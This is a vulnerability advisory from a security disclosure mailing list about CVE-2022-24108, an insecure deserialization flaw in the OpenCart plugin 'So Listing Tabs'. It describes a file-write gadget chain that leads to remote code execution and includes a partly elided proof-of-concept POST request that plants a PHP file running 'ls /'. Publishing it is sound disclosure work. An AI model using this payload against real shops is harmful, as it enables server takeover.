CVE-2022-24108: OpenCart's plugin "So Listing Tabs" <= 2.2.0 Deserialization of Untrusted Data

---

From: Denis Mironov <denis.mironov () solidwall io>
Date: Mon, 16 May 2022 22:16:07 +0300

[-] Affected Versions:

Version 2.2.0 is affected, and prior versions are likely affected too.

[-] Vulnerabilities Description:

Vulnerable component is switching to another tab. To exploit vulnerability, an attacker may send a POST request (with application/x-www-form-urlencoded content-type) to AJAX endpoint (usually "/index.php") with "is_ajax_listing_tabs" parameter set to "1" and "setting" parameter containing a PHP-serialized object, which would be deserialized at server-side. Gadget-chains based on PHP server-side code can be used to gain remote code execution, file write, DOS, etc.

So Listing Tabs is an Opencart plugin, so the Opencart PHP classes are available in webapp lifecycle. In source code of Opencart there is a PHP gadget-chain which allows to write a file to the server.
Using this gadget, an attacker can write .php files with PHP code inside app's web root and then execute it via requesting them, thus gaining remote code
execution, which makes insecure deserialization in So Listing Tabs especially dangerous. Ability to write files can also be used to DOS the system by writing large files and exhausting disk space, it can be used to perform XSS attacks by creating HTML files inside web root.

Here is an example of request which will write PHP file on server in /tmp directory:

```
---
POST /index.php HTTP/2
Host: 0.0.0.0
Content-Length: 3870
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://0.0.0.0/

is_ajax_listing_tabs=1&ajax_reslisting_start=0&categoryid=p_date_added&
setting=a%3a74%3a{s%3a6%3a"action"%3bs%3a9%3a"save_edit"%3b...
...
```

```
s%3a2%3a"aa"%3bO%3A9%3A%22DB%5CMySQLi%22%3A1%3A%7Bs%3A21%3A%2
2%00DB%5CMySQLi%00connection%22%3BO%3A7%3A%22Session%22%3A3%3A%7Bs%3A10%3A%
22%00%2A%00adaptor%22%3BO%3A21%3A%22Twig_Cache_Filesystem%22%3A2%3A%7Bs%3A3
2%3A%22%00Twig_Cache_Filesystem%00directory%22%3BN%3Bs%3A30%3A%22%00Twig_Ca
che_Filesystem%00options%22%3BN%3B%7Ds%3A13%3A%22%00%2A%00session_id%22%3Bs
%3A11%3A%22%2Ftmp%2Ffff.php%22%3Bs%3A4%3A%22data%22%3Bs%3A24%3A%22%3C%3Fphp+
system%28%22ls+%2F%22%29%3B+%3F%3E%22%3B%7D%7D}&lbmoduleid=157
---
```

[-] Solution:

No official solution is currently available.

[-] Disclosure Timeline:

[28/01/2022] - CVE number assigned
[31/01/2022] - Vendor contacted
[02/02/2022] - Vendor asked for description of vulnerability
[02/02/2022] - Send report to vendor
[11/02/2022] - Vendor contacted for asking about updates
[11/02/2022] - Vendor answered that did not get the report
[11/02/2022] - Send report again
[16/02/2022] - Vendor contacted to ask about receiving the report
[17/02/2022] - Automatic generated answer about overloaded system
[07/04/2022] - Vendor contacted again asking for updates
[15/05/2022] - Vendor contacted to notify about public disclosure
[16/05/2022] - Vendor contacted to notify about public disclosure to enother email
[16/05/2022] - Public disclosure

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the id CVE-2022-24108 to these vulnerabilities.

[-] Credits:

Vulnerability discovered by
    Denis Mironov (SolidSoft LLC),
    Alexey Smirnov (SolidSoft LLC),
    Daniil Sigalov (SolidSoft LLC),
    Dmitry Pavlov (SolidSoft LLC),
    Maxim Malkov (SolidSoft LLC)

By Date   By Thread

Current thread:

- **CVE-2022-24108: OpenCart's plugin "So Listing Tabs" <= 2.2.0 Deserialization of Untrusted Data**
  Denis Mironov (May 16)

Ref Guide
Install Guide
Docs
Download
Nmap OEM

User's Guide
API docs
Download
Npcap OEM

Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About/Contact
Privacy
Advertising
Nmap Public Source License